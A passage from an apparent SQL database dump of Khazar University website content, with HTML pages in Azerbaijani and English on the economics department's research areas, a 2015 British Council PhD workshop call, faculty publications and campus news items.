sahələrinə aşağıdakılar\r\ndaxildir:</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Resursla zəngin ölkələrdə inkişaf modelləri</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Azərbaycan Respublikasında neftin idarəedilməsi modeli</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Neft ilə zəngin ölkələrdə makroiqtisadi siyasət</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Azərbaycan Respublikasının makroiqtisadi modeli və\r\nonun xüsusiyyətləri</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Azərbaycan Respublikasında iqtisadi şaxələnmə</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Təbii resursların idarəedilməsində siyasi və iqtisadi\r\ntənzimlənmə</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Fiskal şəffaflıq və hesabatlılıq</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Neft ilə zəngin ölkələrdə dövlət büdcəsinin gəlirlərinin\r\nvə xərclərinin idarəolunması</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Neft ilə zəngin ölkələrdə davamlı iqtisadi inkişafın təmin\r\nolunması yolları</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Yenilənə bilən enerji sahələrinin iqtisadiyyatı və səmərəliliyi</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Korporativ maliyyə və idarəetmə</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Beynəlxalq maliyyə</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Əqli mülkiyyətin iqtisadiyyatı</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Markalama və marketinq</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Elektron ticarət və marketinq</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">&nbsp;</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><strong><em>Dr. Ceyhun Məmmədov</em></strong></p>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><strong><em>Departament Müdiri</em></strong></p>\r\n<p>&nbsp;</p>'),(352,219,'en','Research','Research','<p style=\"font-family:\'times new roman\', times, serif\"><strong><span style=\"text-decoration:underline\"><br></span></strong></p><p style=\"font-size:medium\"><strong><span style=\"text-decoration:underline\">Research\r\nExpertise at the DEM</span></strong></p>\r\n<div style=\"font-size:medium\">\r\n</div><p style=\"font-size:medium;text-align:justify\">The Department of Economics and Management has established a team of\r\ninternationally prominent academic experts, working across major areas in\r\nApplied and Theoretical Economics, Finance and Management, and provides an outstanding\r\nresearch environment for young researchers.</p>\r\n<p style=\"font-size:medium;text-align:justify\">Cutting\r\nacross these research areas, we have long been known for conducting research on\r\na variety of topics related to energy economics and policy, with an emphasis on\r\nissues pertaining to resource rich countries, and it continues to be a leading\r\nresearch intensive institution in Azerbaijan.&nbsp;</p>\r\n<p style=\"font-size:medium;text-align:justify\">In\r\nview of the global radical, turbulent and far-reaching changes, we have\r\ndesigned a practical and integrated experiential conglomerate research approach\r\nin managerial studies. This encompasses the challenges of financial risk,\r\nstrategic approach and the human capital force required to sustain the dynamics\r\nof transformation.</p>\r\n<p style=\"font-size:medium;text-align:justify\">Our\r\ndiverse research interests in finance include corporate finance &amp;\r\ngovernance, international finance, economics of intellectual property. In the\r\nrecent future we plan to work on research of knowledge management evaluation in\r\nthe supply chain domain, entrepreneurial decision-making. We use advanced data\r\nanalysis techniques, computational techniques, econometric methods and\r\nempirical aspects to examine the wide variety of important issues.</p>\r\n<p style=\"font-size:medium;text-align:justify\">Our\r\nresearch is a part of an ongoing partnership between global business and\r\nacademic institutions with pragmatic preposition. This derives a profound\r\nlearning and knowledge repository for the students.</p>\r\n<p style=\"font-size:medium;text-align:justify\">Faculty\r\nmembers’ wide-ranging expertise spans areas including:</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResource -rich countries development models</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAzerbaijani petroleum governance model</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMacroeconomic policy framework for petroleum rich countries</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAzerbaijani macroeconomic model and specifics</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEconomic diversification model in Azerbaijan</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPolitical and economic governance and capacity building in the natural resource\r\nmanagement</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiscal transparency and accountability</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBudgeting in petroleum rich countries</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSustainable economic development through transparency in resource rich\r\ncountries</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe economics of renewable energy and energy efficiency</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCorporate finance and governance</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternational finance</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEconomics of intellectual property</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBranding and national identity</p>\r\n<p style=\"font-size:medium;text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nE-commerce and marketing</p>\r\n<p style=\"font-size:medium;text-align:justify\">The\r\ndepartment’s research consistently earns national and international awards and\r\nthrough various research projects opens opportunities for early career national\r\nand international researchers to interact, and explore opportunities for\r\nbuilding long-lasting research collaborations.</p>\r\n<p style=\"font-size:medium;text-align:justify\">&nbsp;For\r\nmore information, please see faculty members\' profiles.</p>\r\n<p style=\"font-size:medium;text-align:justify\">&nbsp;</p>\r\n<p style=\"font-size:medium;text-align:justify\"><strong>Dr.\r\nJeyhun Mammadov</strong></p>\r\n<p style=\"font-size:medium;text-align:justify\"><strong>Department\r\nChair</strong></p>'),(353,220,'az','Seminar','Seminar','<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><p style=\"text-align:center\"><strong>Elmi seminar (Doktorluq)</strong></p><p style=\"text-align:center\"><strong></strong><strong>Zəngin təbii sərvətlərə malik ölkələrdə dayanıqlı iqtisadi inkişafın təmin edilməsi:</strong></p><p style=\"text-align:center\"><strong></strong><strong>Ukrayna böhranı və enerji təchizatçısı kimi Azərbaycan və onun dayanıqlı inkişafı üçün yaranmış risk və imkanlar.</strong></p><p style=\"text-align:center\"><strong></strong><strong>Seminarın tarixi:&nbsp;16-19 Fevral 2015-ci il</strong></p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>Seminarın keçiriləcəyi yer:&nbsp;</strong>Xəzər Universiteti, Bakı, Azərbaycan</p><p style=\"text-align:justify\">British Council-ın Tədqiqatçı Əlaqələri layihəsi çərçivəsində Xəzər Universitetinin İqtisadiyyat və Menecment fakultəsi və Reading Universitetinin Henley Biznes Məktəbi tərəfindən seminar keçiriləcəkdir. Seminarda Azərbaycanın nümunəsində zəngin təbii sərvətlərə malik ölkələrdə dayanıqlı iqtisadi inkişafın əldə edilməsi sahəsində mövcud problemlər üzrə bilik və təcrübə mübadiləsi aparılacaqdır. Seminarda iştirak etmək üçün Birləşmiş Krallıqda və Azərbaycanda iqtisadiyyat sahəsi üzrə fəaliyyət göstərən tədqiqatçılar müraciət edə bilərlər.&nbsp;Seminarda iştirak etmək üçün aşağıdakı mövzular üzrə təcrübəsi olan tədqiqatçılar dəvət olunurlar:</p><br><br><ul><li>Zəngin təbii sərvətlərə malik ölkələr üçün qlobal çətinliklər: beynəlxalq münaqişələr və Avropa Birliyi</li><li>Zəngin təbii sərvətlərə malik ölkələrin inkişaf modelləri</li><li>Azərbaycanda neftin idarəedilməsi modeli</li><li>Zəngin neft resurslarına malik ölkələrdə makroiqtisadi siyasət modeli</li><li>Azərbaycanda makroiqtisadi model və onun səciyyəvi xüsusiyyətləri</li><li>Təbii sərvətlərin idarəolunmasında siyasi və iqtisadi idarəçilik və müvafiq bilik və bacarıqların inkişafı</li><li>Maliyyə şəffaflığı və hesabatlılıq</li><li>Müstəqil Rifah Fondları: Qlobal çətinliklər</li><li>Zəngin neft resurslarına malik ölkələrdə büdcə problemləri</li><li>Zəngin təbii sərvətlərə malik ölkələrdə şəffaflığın təmin edilməsi yolu ilə dayanıqlı iqtisadi inkişafın əldə edilməsi</li></ul><br><br><p><strong><br></strong></p><p><strong>Seminarda iştirak üçün qəbul şərtləri:</strong></p><p style=\"text-align:justify\"><strong></strong>Birləşmiş Krallıq və Azərbaycandan olan gənc tədqiqatçılar (PhD dərəcəsi olan və ya eynitipli tərübəyə malik) seminarda iştirak etmək üçün ərizə (aşağıda əlavə edilmişdir) vasitəsilə müraciət edə bilərlər. Tədqiqat təcrübəsi 10 ildən çox olmayan gənc tədqiqatçılara üstünlük veriləcəkdir.</p><p style=\"text-align:justify\">Ərizələrin qəbulu:&nbsp;Maraqlanan şəxslər ərizə formasını tamamlayaraq 20 yanvar 2015-ci il tarixinədək aşağıdakı e-mail vasitəsilə müraciət edə bilərlər.</p><p>Azərbaycandan olan tədqiqatçılar üçün:</p><p>Prof. Ingilab Ahmadov at&nbsp;<a href=\"mailto:ingilab@khazar.org\">ingilab[at]khazar.org</a></p><p><a href=\"mailto:ingilab@khazar.org\"></a>Birləşmiş Krallıqdan olan tədqiqatçılar üçün:</p><p>Prof. Yelena Kalyuzhnova at&nbsp;<a href=\"mailto:y.kalyuzhnova@henley.ac.uk\">y.kalyuzhnova[at]henley.ac.uk</a></p><p><strong><br></strong></p><p><strong><a href=\"mailto:y.kalyuzhnova@henley.ac.uk\"></a>Səfər xərcləri:</strong></p><p style=\"text-align:justify\">Seminarda iştirak edən şəxslərin tədqiqat işlərinin nəticələrinin uyğun jurnallarda nəşri üçün imkan yaradılacaqdır. Əlavə olaraq, seminarda iştirak edən Azərbaycandan olan tədqiqatçılardan biri Reading Universitetinin Henley Biznes Məktəbində PhD dərəcəsi almaq üçün təqaüd imkanı əldə edəcəkdir.</p><p style=\"text-align:justify\"><strong>Qeyd:</strong> Seminar Azərbaycan və Birləşmiş Krallığın tədqiqatçıları arasında tanışlıq və tədqiqat işi üzrə təcrübə mübadiləsi üçün imkan yaradacaqdır. Seminarda iştirak edən gənc tədqiqatçılar tədqiqat işləri üzrə qisa təqdimatlar keçirəcək və Birləşmiş Krallıqda fəaliyyət göstərən təcrübəli tədqiqatçılarla müzakirə aparmaq imkanı əldə edəcəklər.</p><p style=\"text-align:justify\">Seminar barədə daha ətraflı məlumat əldə etmək üçün&nbsp;<a href=\"https://www.britishcouncil.az/sites/britishcouncil.az/files/application_form_researcher_links_workshop.docx\">buradan</a>&nbsp;ərizə formasını yükləyə bilərsiniz.</p>'),(354,220,'en','PhD Workshop','PhD Workshop','<p style=\"text-align:center\"><strong>Doctoral\r\nWorkshops</strong></p>\r\n<p style=\"text-align:center\"><strong>&nbsp;</strong><strong>Researcher\r\nLinks Workshop</strong></p>\r\n<p style=\"text-align:center\"><strong>&nbsp;</strong><strong>Delivering\r\nsustainable economic development in resource-rich nations:&nbsp;</strong></p>\r\n<p style=\"text-align:center\"><strong>&nbsp;</strong><strong>Ukrainian\r\nCrisis: Risks and opportunities for Azerbaijan as an energy supplier and for\r\nits sustainable development</strong></p>\r\n<p style=\"text-align:center\"><strong>&nbsp;</strong><strong>February\r\n16-19, 2015</strong></p><p style=\"text-align:center\"><strong><br></strong></p>\r\n<p style=\"text-align:justify\">The\r\nresearcher links workshop, organized by the School of Economics and Management,\r\nKhazar University and the Henley Business School, the University of Reading\r\n(UK) and generously sponsored by the British Council seeks to bring together\r\nworld-leading researchers, early career researchers and locally-based policy\r\nmakers to share knowledge and understanding about the sustainable development\r\nachievement problems in resource rich countries, considering the case of\r\nAzerbaijan.</p><p>Papers from the following research areas are invited:</p><p></p><ul><li>Global challenges for the resource-rich countries: international conflicts and the EU</li><li>Resource - rich countries development models</li><li>Azerbaijan petroleum governance model</li><li>Macroeconomic policy framework for petroleum rich countries</li><li>Azerbaijan macroeconomic model and specifics</li><li>Political and economic governance and capacity building in the natural resource management</li><li>Fiscal transparency and accountability</li><li>Sovereign Wealth Funds: Global challenges</li><li>Budgeting in petroleum rich countries</li><li>Sustainable economic development through transparency in resource rich countries</li></ul><p></p>  <p style=\"text-align:justify\"><br></p><p><strong>Eligibility\r\nCriteria</strong></p>\r\n<p>We\r\nwelcome applications from early career researchers: Holding a PhD (or having\r\nequivalent research experience) - and having up to 10 year’s post-PhD research\r\nexperience.</p>\r\n<p>Submission:&nbsp;Please submit a full research paper or an extended abstract\r\nuntil January 20, 2015 to:</p>\r\n<p>Prof.\r\nYelena Kalyuzhnova at&nbsp;<a href=\"mailto:y.kalyuzhnova@henley.ac.uk\">y.kalyuzhnova[at]henley.ac.uk</a></p>\r\n<p>Prof.\r\nIngilab Ahmadov at&nbsp;<a href=\"mailto:ingilab@khazar.org\">ingilab[at]khazar.org</a></p>\r\n<p style=\"font-family:\'times new roman\', times, serif;text-align:justify;font-size:medium\">&nbsp;</p>\r\n<p><strong>Travel\r\nand Accommodation</strong></p>\r\n<p>The\r\nparticipation costs will be covered, including: travel (both international and\r\nlocal), visa, accommodation and meals.</p>\r\n<p style=\"text-align:justify;font-size:medium\"><strong><br></strong></p><p><strong>Additional\r\nInformation</strong></p>\r\n<p style=\"text-align:justify\">Participants\r\nwill have a chance to publish their research papers in refereed journals. In\r\naddition, the Henley Business School will provide one Ph.D. scholarship (tuition\r\nwaiver) for a young researcher from Azerbaijan.</p>\r\n<p style=\"text-align:justify\"><strong>Note:&nbsp;</strong>The\r\nworkshop will provide a unique opportunity for sharing research expertise and\r\nnetworking. Early career researchers will have the opportunity to present their\r\nresearch in the form of a poster/short presentation and discuss with\r\nestablished researchers from the UK and partner countries.</p>\r\n<p>For\r\nthe application form and additional information, please see&nbsp;<a href=\"/files/demo/Application_form_Researcher_Links_Workshop (1).docx\">Application</a>.</p>'),(355,221,'az','Nəşrlər','Nəşrlər','<p style=\"text-align:justify\"><strong>Ceyhun Məmmədov</strong></p><p style=\"text-align:justify\">“Oil Price Shocks and Monetary Policy in Azerbaijan: Challenges and Opportunities”, Mammadov, J., Caucasus Analytical Digest No. 83, ETH Zurich and the University of Bremen, 2016.</p><p style=\"text-align:justify\">“Country Report: Migration Policy in Azerbaijan” Mammadov, J., Bayramov, K., and Isgandarov, A., Caucasus Journal on Migration, Tbilisi State University 2015.</p><p style=\"text-align:justify\">&nbsp;“Assessment of Institutional Quality in Resource-Rich Caspian Basin Countries”,&nbsp;Ahmadov, I.,&nbsp;Mammadov, J., and&nbsp;Aslanli, K.,&nbsp;Kurswechsel (Zeitschrift für gesellschafts-, wirtschafts- und umweltpolitische Alternativen Sonderzahl Verlag), Heft 3/2013: p 18-41.</p><p style=\"text-align:justify\">&nbsp;“Foreign direct investment, human capital accumulation and economic growth: the case of transition countries”. Mammadov J. Bielefeld: Bielefeld University; 2012.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>İnqilab Əhmədov</strong></p><p style=\"text-align:justify\">“Azerbaijan’s New Macroeconomic Reality: How to Adapt to Low Oil Prices”, Ahmadov, I., Caucasus Analytical Digest No. 83, ETH Zurich and the University of Bremen, 2016.</p><p style=\"text-align:justify\">“Assessment of Institutional Quality in Resource-Rich Caspian Basin Countries”,&nbsp;Ahmadov, I.,&nbsp;Mammadov, J., and&nbsp;Aslanli, K.,&nbsp;Kurswechsel (Zeitschrift für gesellschafts-, wirtschafts- und umweltpolitische Alternativen Sonderzahl Verlag), Heft 3/2013: p 18-41.</p><p style=\"text-align:justify\"><br>“Dispute or dialogue? Community perspectives on company-led grievance mechanisms. Chapter 3: BP and the Azerbaijan pipelines complaints management procedure./&nbsp;&nbsp;Emma Wilson, Christoph Schwarte, Ingilab Ahmadov. IIED. London-2013.</p><p style=\"text-align:justify\">“EITI and sustainable development: Lessons and new challenges for the Caspian region. /&nbsp;Saule Ospanova, Ingilab Ahmadov, Emma Wilson. IIED. London- 2013. Policy Paper.</p><p style=\"text-align:justify\">“How to scrutinise a Production Sharing Agreement: A guide for the oil and gas sector based on experience from the Caspian region./&nbsp;Ahmadov, I., Artemyev, A., Aslanly, K., Rzaev, I., Shaban, I. IIED. London-2012</p><p style=\"text-align:justify\"><br><strong>Məhəmməd Nuriyev</strong></p><p style=\"text-align:justify\">Modern challenges of oil producing countries and the ways for establishing a non-oil dependent economy in Azerbaijan (Comparative approach) /Mahammad Nuriyev, Eldar Shahgeldiyev, Zaka Salmanli / –Muellim nəshşriyyati, 2014, 96 p.- ISBN 978-9952-435-55-9&nbsp; &nbsp; &nbsp;</p><p style=\"text-align:justify\">English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms. – Khazar University Press, 2012. –152 p. – ISBN 978-9952-20-070-6</p><p style=\"text-align:justify\">Azərbaycanın rayonları üçün bölgə kolleci kompleksinin/klasterinin&nbsp; yaradılması/Əhməd Vəliyev, Hamlet İsaxanlı, Məhəmməd Nuriyev, Mirdaməd Sadıxov, Ruslan Sədirxanov// Ali təhsil və cəmiyyət, elmi-metodiki jurnal. – 2012. – № 2</p><p style=\"text-align:justify\">Ali məktəbdə formativ qiymətləndirmənin tətbiqetmə imkanları // Ali təhsil və cəmiyyət, elmi-metodiki jurnal. – 2013. – № 1</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Fuat Rəsulov</strong></p><p style=\"text-align:justify\">“İxracatçılar Üçün Təlimat”, Fuat Rəsulov, İlkin Qarayev, Elxan Mikayılov, Gerry Morrissey, Bakı 2013</p><p style=\"text-align:justify\"><br><strong>Şaiq Qənbərli</strong></p><p style=\"text-align:justify\">“Individual and Household Characteristics in Tbilisi, Guria and Achara” Measurement of Poverty and Inequality.&nbsp; Shaig Ganbarli, Tbilisi State University, Georgia, 2013</p><p style=\"text-align:justify\"><br><strong>Təranə Əzimli</strong></p><p style=\"text-align:justify\">“Validity of International Fisher Effect for Turkish and BRIC economies Cointegration analysis” Tarana Azimli, Istanbul University, working paper 2012</p><p style=\"text-align:justify\">&nbsp;“Determination of Leading Indicators with Canonical Correlation Analysis, as predictors of recessions in Turkish economy”. Tarana Azimli, Istanbul University, working paper 2013&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Kamil Heydərov</strong></p><p style=\"text-align:justify\">“The impact of bank capital on profitability and risk: evidence from Azerbaijan”, Kamil Heydarov, Central Bank and Economics, (2013), 2, pp. 130-143&nbsp;&nbsp;</p><p style=\"text-align:justify\"><br><strong>Mətləb Vəliyev</strong></p><p style=\"text-align:justify\">“Paying Taxes in Azerbaijan”, Matlab Valiyev, Doing Business 2010 and 2011– World Bank</p><p style=\"text-align:justify\"><br><strong>Fuad Əliyev</strong></p><p style=\"text-align:justify\">“The Politics of Islamic Finance in Central Asia and South Caucasus”, Voices from Central Asia, No. 2, July 2012, Central Asia Program, George Washington University, USA</p><p style=\"text-align:justify\"><br><strong>Fikrət Paşayev</strong></p><p style=\"text-align:justify\">&nbsp;“Investment policies and competitiveness of Azerbaijani economy”,&nbsp;Khazar journal of Humanities and Social Sciences, Baku, May, 2013, pp. 22-31</p><p style=\"text-align:justify\"><br></p><embed style=\"text-align:justify\" type=\"application/x-shockwave-flash\">\"&gt;&nbsp;<strong>Shahriyar Mukhtarov</strong></p><p>“Müstəqillik İllərində Azərbaycanın Makroiqtisadi Göstəricilərinin Təhlili”&nbsp;,&nbsp;Journal of Baku Engineering University<br></p><p>“Şəhər Əhalisinin Sayının Enerji İstehlakına Təsirlərinin Qiymətləndirilməsi:Azərbaycan Nümunəsi”&nbsp;Journal of Baku Engineering University, - Accepted, 2017&nbsp;</p><p>“Azerbaycan’da Faiz Oranı Kanalının İşleyişi: Ampirik&nbsp;Bir Analiz”&nbsp;Yönetim ve Ekonomi: Celal Bayar Üniversitesi İktisadi ve İdari Bilimler Fakültesi Dergisi 24 (2)&nbsp;</p><p>\"Does Urbanization Boost Pollution From Transport?\"Acta Universitatis Agriculturae et Silviculturae Mendelianae Brunensis. 2017</p><div><br></div><br><br><p><strong>Elvin Mammadov</strong></p><p>“Influencing Factors of the Profitability in Banking Sector: An Analysis for post-Soviet Countries”,&nbsp;Thomsen Reuters&nbsp;</p><p>“The Effectiveness of Exchange Rate Channel in Azerbaijan: An Empirical Analysis”,&nbsp;Thomsen Reuters Impact Factor</p>  <p style=\"text-align:justify\"><br></p>'),(3513,2066,'en','Meeting of Academic Council','On April 14, 2017 the meeting of the Khazar University Academic Council was held. The meeting was chaired by  Dr. Hasan Niknafs, President of the University...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:0in\"=\"\">On April 14, 2017 the meeting of the Khazar\r\nUniversity Academic Council was held. The meeting was chaired by &nbsp;Dr.\r\nHasan Niknafs, President of the University.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;According to\r\nthe agenda of the meeting reports were given by Dr. Hasan Niknafs, President of\r\nthe University, on general issues; by faculty Deans Hassan Niknafs, Jabir\r\nKhalilov and Elza Samadova as well as department chair Jeyhun Mammadov, on the\r\ntopic of graduation; by Dr. Eldar Shahgaldiyev, Head of the Division for\r\nGraduate Students and Research, on scientific research and scientific\r\nadvisors&nbsp; of post-graduates, Nurida\r\nGadirov`s, &nbsp;instructor&nbsp;of\r\nthe&nbsp;Department&nbsp;of&nbsp;History&nbsp;and&nbsp;Archeology&nbsp;at Khazar&nbsp;University,&nbsp;\r\nbeing appointed assistant\r\nprofessor and related decisions were made.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Other current issues were also covered at the\r\nmeeting.&nbsp;</p>'),(3514,2063,'en','Center for Eurasian Studies Writes on Relations between Khazar University and Abdullah Gul University','On April 12, 2017, an article was published on the official website of the Center for Eurasian Studies about the visit of Prof. Dr. Ihsan Sabuncuoghlu, Rector of Abdullah Gul University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On April 12, 2017, an article was published on the official\r\nwebsite of the Center for Eurasian Studies about the visit of Prof. Dr. Ihsan\r\nSabuncuoghlu, Rector of Abdullah Gul University, to Khazar University and his\r\nmeeting with Hamlet Isakhanli, founder and the Chair of the Board of Directors\r\nand Trustees of Khazar University.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">For the full version of the\r\narticle , you can visit the following link: &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142\">http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142\">Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142</a> </p>'),(4488,2658,'en','Representatives of P&G Company met with Students','On November 23, 2017, the representatives of P&G Company met with the students of Department of Economics and Management of Khazar University...','<p>On November 23, 2017, the representatives of P&amp;G Company met with the students of Department of Economics and Management of Khazar University. During the meeting, the students were given detailed information about P&amp;G Company, internship programs, job opportunities and recruitment stages.</p><p>Question and answer session was held at the end of the meeting.</p>'),(5315,3078,'az','Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı simpoziumda','2018-ci il martın 29-u və 30-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı...','<p>2018-ci il martın 29-u və 30-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı fil.ü.f.d. Xatirə Yusifova “Rus türkoloq Qordlevskinin 1920`li yıllarda Ankarada topladığı halk rivayetleri” adlı məqaləsi ilə Ankarada Etimesgut Qorqud Ata konqres və mədəniyyət mərkəzində keçirilən “Uluslararası tarihte Etimesgut” simpoziumunda iştirak etmişdir.</p>'),(5316,3078,'en','Khazar University staff member in a symposium','On March 29-30, 2018, Khatira Yusifova, PhD in Philology and instructor of the Department...','<p>On March 29-30, 2018, Khatira Yusifova, PhD in Philology and instructor of the Department of Azerbaijani Language and Literature, participated in “Etimesgut in International History” symposium, held in Etimesgut Korkut Ata Congress and Culture Center, with her article “National stories collected by Gordlevsky, Russian Turkologist, in 1920s in Ankara”.</p>'),(3461,2037,'az','Xəzər Universitetinin tələbələri Yəhudi və Xristian dinlərinə məxsus konfessiyaların məbədlərində oldular','2017-ci il aprelin 1-i və 2-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin müəllimi dosent Elnurə Əzizovanın rəhbərliyi ilə universitetin tələbələri “Dünya dinlərini...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\naprelin 1-i və 2-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin\r\nmüəllimi dosent Elnurə Əzizovanın rəhbərliyi ilə universitetin tələbələri\r\n“Dünya dinlərini yaxından tanıyaq” adlı proqram çərçivəsində Azərbaycandakı Yəhudi\r\nvə Xristian dinlərinə məxsus konfessiyaların məbədlərində oldular. Proqram çərçivəsində\r\ntələbələr aprelin 1-də Avropa və Gürcüstan yəhudiləri sinaqoqunda Şabat mərasimində\r\niştirak etdilər. Mərasimdən sonra din xadimi Rabai Şneor tələbələrin suallarını\r\ncavablandırdı. Aprelin 2-də isə tələbələr Bakirə Müqəddəs Məryəm kilsəsində\r\nEvharistiya ayinində iştirak etdlər. Ayinin sonunda din xadimi Vladimir tələbələrin\r\nsuallarını cavablandırdı. Hər iki məbəddə tələbələr Azərbaycanda dini\r\ntolerantlıq və müxtəlifliklərin birlikdə yaşaması mövzularında dini icmaların\r\nyanaşmasına dair diskussiya apardılar.</p>'),(5360,3100,'en','The next meeting of the Scientific Council','On April 13, 2018, Scientific Council of Khazar University held a meeting...','<p>On April 13, 2018, Scientific Council of Khazar University held a meeting. Dr. Hassan Niknafs, rector of the university, chaired the meeting. Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Jeyhun Mammadov, Dean of the School of Economy and Management, Elza Samadova, Dean of the School of Education, Vafa Aslanova, Vice-dean of the School of Engineering and Applied Sciences, reported on the graduate students.</p><p>Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, delivered information on dissertation topics of PhD students, approval of their supervisors and change of qualifications.</p><p>Irada Khalilova, Vice-rector for Research, delivered a report on the publication of textbooks and curricula as well as presentation of scientific degrees. Participants made decisions of issues under discussions and exchanged views on current issues.</p>'),(5361,3101,'az','Universitetin əməkdaşları Şirvan şəhərində oldular','2018-ci il martın 30-da Xəzər Universitetinin potensial tələbələr üzrə işçi qrupunun...','<p>2018-ci il martın 